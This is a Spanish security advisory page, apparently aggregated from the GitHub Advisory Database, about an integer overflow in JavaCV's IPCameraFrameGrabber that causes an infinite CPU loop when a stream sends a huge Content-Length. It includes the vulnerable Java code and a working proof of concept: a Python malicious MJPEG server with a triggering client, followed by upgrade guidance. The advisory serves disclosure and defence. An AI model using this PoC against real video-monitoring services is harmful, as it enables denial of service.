Alta

JavaCV: Desbordamiento de enteros en IPCameraFrameGrabber provoca DoS por bucle infinito

  • Publicada: 16.10.2026
  • Actualizado: 20.10.2026 08:37

Resumen

IPCameraFrameGrabber procesa el valor Content-Length de la transmisión HTTP MJPEG multiparte devuelta por la cámara IP configurada sin realizar ninguna validación de límites. Un extremo de cámara malicioso o comprometido, o cualquier atacante de red capaz de alterar la respuesta HTTP en texto claro (estas transmisiones se acceden habitualmente mediante http://, tal y como se documenta en la propia clase), puede proporcionar un valor Content-Length en el rango 1073741825-2147483647. Esto lleva a la rutina interna de expansión de búfer ensureBufferCapacity(int) a un desbordamiento de enteros con signo de 32 bits, convirtiendo el bucle de ampliación en un bucle infinito real: la variable de bucle oscila a 0 y nunca vuelve a cumplir la condición de salida. El hilo que invocó grab()/grabBufferedImage() consume el 100% de CPU indefinidamente y nunca regresa, bloqueando de forma permanente el hilo de captura de fotogramas de la aplicación sin que exista excepción, tiempo de espera o vía de interrupción para el llamador.

Detalles

Archivo: src/main/java/org/bytedeco/javacv/IPCameraFrameGrabber.java

java
private byte[] readImage() throws IOException {
    ...
    int c0 = subheader.indexOf("content-length: ");
    final int c1 = subheader.indexOf('\r', c0);
    if (c0 < 0) {
        throw new EOFException("The camera stream ended unexpectedly");
    }
    c0 += 16;
    final int contentLength = Integer.parseInt(subheader.substring(c0, c1).trim());   // <-- fully attacker-controlled
    // adaptive size - careful - don't want a 2G jpeg
    ensureBufferCapacity(contentLength);                                              // <-- no upper bound enforced
    input.readFully(pixelBuffer, 0, contentLength);
    ...
}

private void ensureBufferCapacity(int desiredCapacity) {
    int capacity = pixelBuffer.length;          // starts at 1024
    while (capacity < desiredCapacity) {
        capacity *= 2;                          // <-- unchecked int multiplication
    }
    if (capacity > pixelBuffer.length) {
        pixelBuffer = new byte[capacity];
    }
}

contentLength se toma directamente de las cabeceras de respuesta HTTP del flujo de la cámara y se pasa sin cambios a ensureBufferCapacity sin validación de límite superior (el comentario «adaptive size - careful - don't want a 2G jpeg» muestra que el autor conocía el riesgo pero nunca implementó una comprobación).

ensureBufferCapacity duplica repetidamente capacity (un int de 32 bits, que comienza en pixelBuffer.length == 1024) hasta que es >= desiredCapacity. Si desiredCapacity es superior a 2^30 (1073741824) pero <= Integer.MAX_VALUE (2147483647):

  1. capacity alcanza 2^30 (1073741824) tras 20 duplicaciones; la condición del bucle capacity < desiredCapacity sigue siendo verdadera.
  2. capacity *= 2 calcula 2^31, lo que desborda un int con signo de 32 bits y se convierte en Integer.MIN_VALUE (-2147483648).
  3. La condición del bucle capacity < desiredCapacity (un número negativo comparado con un desiredCapacity positivo grande) sigue siendo verdadera, por lo que el bucle continúa.
  4. capacity *= 2 calcula Integer.MIN_VALUE * 2, lo que en aritmética de complemento a dos de 32 bits resulta en 0.
  5. A partir de este punto, capacity es permanentemente 0 (0 * 2 == 0), y 0 < desiredCapacity sigue siendo verdadera para siempre; el bucle while nunca termina.

Este es un bucle puramente ligado a la CPU, sin operaciones de E/S, sin llamadas bloqueantes y sin comprobación de InterruptedException, por lo que no puede ser interrumpido mediante Thread.interrupt() y no respetará ningún readTimeout/connectionTimeout configurado en el capturador (estos solo se aplican a la lectura del socket que ocurre antes de esta ruta de código). El único remedio es finalizar la JVM o el hilo desde el exterior.

PoC

Un servidor MJPEG malicioso o interceptado mínimo que reproduce el bloqueo:

python
import socket

srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 8080))
srv.listen(1)
print("listening on :8080")
conn, _ = srv.accept()
conn.recv(4096)  # swallow the client's request

# Any value in (1073741824, 2147483647] triggers the overflow.
malicious_length = 2000000000
header = (
    "--myboundary\r\n"
    "Content-Type: image/jpeg\r\n"
    "Content-Length: %d\r\n\r\n" % malicious_length
)
conn.sendall(header.encode())
# The client will now spin forever inside ensureBufferCapacity()
# before ever attempting to read the (fake) body.

Cliente Java (representativo de cualquier aplicación que integre javacv para visualizar una URL de "cámara IP"):

java
import org.bytedeco.javacv.IPCameraFrameGrabber;
import java.util.concurrent.TimeUnit;

public class Poc {
    public static void main(String[] args) throws Exception {
        IPCameraFrameGrabber grabber = new IPCameraFrameGrabber(
            "http://127.0.0.1:8080/videostream.cgi", 5, 5, TimeUnit.SECONDS);
        grabber.start();
        grabber.grab(); // never returns; thread pegs a CPU core at 100% forever
    }
}

Ejecutar el cliente frente al servidor malicioso anterior provoca que grab() se bloquee permanentemente, consumiendo un núcleo de CPU completo, independientemente del startTimeout/grabTimeout suministrado al constructor.

Impacto

Cualquier aplicación que utilice IPCameraFrameGrabber para consumir un flujo de cámara/MJPEG desde un origen que no sea de total confianza —incluido el caso común de flujos de texto plano http:// (como se documenta en los propios ejemplos de la clase: http://host/videostream.cgi?...) susceptibles de manipulación en red— puede verse forzada a un bloqueo permanente e irrecuperable por consumo de CPU en el hilo de captura mediante una única cabecera de respuesta manipulada. No se requiere autenticación, carga útil JPEG ni transferencia real de datos; la cabecera maliciosa es suficiente por sí sola. La explotación reiterada contra un servidor que crea un hilo de captura por cliente o cámara (un patrón común en servidores de monitorización y videovigilancia) puede agotar los hilos y la CPU disponibles, provocando una denegación de servicio generalizada.

Qué hacer

Actualice a la versión 1.5.14 o posterior, o aplique el commit cd1977800b827beadf3c53c4032e57172845e0b4.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Java / Kotlin (Maven) org.bytedeco:javacv < 1.5.14 1.5.14

Referencias

Puntuación CVSS 7.5/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Debilidad (CWE)
CWE-190
Plataforma
Java / Kotlin (Maven)
Paquete
org.bytedeco:javacv
Publicada
16.10.2026
Actualizado
20.10.2026 08:37

Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.

OSV / GitHub Advisory Database - GHSA-rxjv-24xq-76wc - CC BY 4.0

Historial de vulnerabilidades: org.bytedeco:javacv

Todas las vulnerabilidades publicadas de este paquete (Java / Kotlin (Maven)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Esta es la única vulnerabilidad conocida de este paquete.

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.